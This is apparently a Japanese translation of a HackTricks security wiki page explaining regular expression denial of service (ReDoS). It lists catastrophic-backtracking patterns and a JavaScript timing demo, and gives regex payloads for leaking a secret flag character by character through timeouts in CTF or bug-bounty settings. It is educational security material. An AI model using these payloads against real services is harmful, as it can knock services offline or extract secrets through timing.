Regular expression Denial of Service - ReDoS

正規表現サービス拒否攻撃 - ReDoS

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！

• **💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。

• ハッキングのトリックを共有するには、HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してください。

正規表現サービス拒否攻撃 (ReDoS)

正規表現サービス拒否攻撃 (ReDoS) は、誰かが正規表現（テキスト内のパターンを検索し一致させる方法）の動作の弱点を利用することで発生します。時には、正規表現が使用されると非常に遅くなることがあります。特に、処理対象のテキストが大きくなると、その遅さはひどくなります。この遅さは、テキストサイズのわずかな増加でも急速に悪化することがあります。攻撃者はこの問題を利用して、正規表現を使用するプログラムが長時間正常に動作しないようにすることができます。

問題のあるRegexナイーブアルゴリズム

詳細はhttps://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoSを確認してください。

悪意のあるRegex

悪意のある正規表現パターンとは、作成された入力に引っかかり、DoSを引き起こすことができるものです。悪意のある正規表現パターンは、通常、繰り返しを伴うグループ化や、繰り返しまたは選択肢が重なり合う繰り返しグループを含みます。悪意のあるパターンのいくつかの例は次のとおりです：

• (a+)+

• ([a-zA-Z]+)*

• (a|aa)+

• (a|a?)+

• (.*a){x} for x > 10

これらはすべて、入力 aaaaaaaaaaaaaaaaaaaaaaaa! に対して脆弱です。

ReDoSペイロード

ReDoSによる文字列の流出

CTF（またはバグバウンティ）では、正規表現が一致する機密情報（フラグ）を制御しているかもしれません。その場合、正規表現が一致した場合にページをフリーズ（タイムアウトまたは長い処理時間）させることが有用です。そうすることで、文字列を1文字ずつ流出させることができます：

• この投稿では、このReDoSルールを見つけることができます： ^(?=<flag>)((.*)*)*salt$

• 例： ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

• この解説では、次のものが見つかります： <flag>(((((((.*)*)*)*)*)*)*)!

• この解説では、次のように使用されました： ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS入力と正規表現の制御

以下は、入力と正規表現の両方を制御するReDoSの例です：

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

ツール

• https://github.com/doyensec/regexploit

• https://devina.io/redos-checker

参考文献

• https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

• https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets

• https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html

• https://ctftime.org/writeup/25869

AWSハッキングを学び、練習する：HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、練習する：HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！

• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。

• ハッキングのトリックを共有するには、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。